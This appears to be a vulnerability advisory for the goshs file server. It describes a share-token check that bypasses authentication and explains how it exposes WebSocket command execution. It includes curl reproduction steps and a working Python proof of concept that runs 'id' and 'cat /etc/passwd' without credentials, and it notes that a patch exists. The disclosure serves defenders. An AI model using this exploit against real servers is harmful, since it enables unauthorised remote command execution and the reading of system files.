goshs has Auth Bypass via Share Token

Summary

When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

Details

The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.

// middleware.go:22-30 — token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
    _, ok := fs.SharedLinks[token]
    if ok {
        next.ServeHTTP(w, r)  // Full auth bypass
        return
    }
}
// ... normal auth checks never reached

A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.

1. Create a webroot:

mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt

2. Start goshs with auth + TLS + CLI mode:

/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000

CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage — not a weakened config.

3. Verify authentication is required:

curl -sk https://localhost:8000/
Not authorized

4. As a legitimate user, create a share link:

curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

Response:

{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}

Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).

5. Prove the token bypasses auth for WebSocket:

# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401

# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101

For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.

PoC

import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"  # ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")

# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()

A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.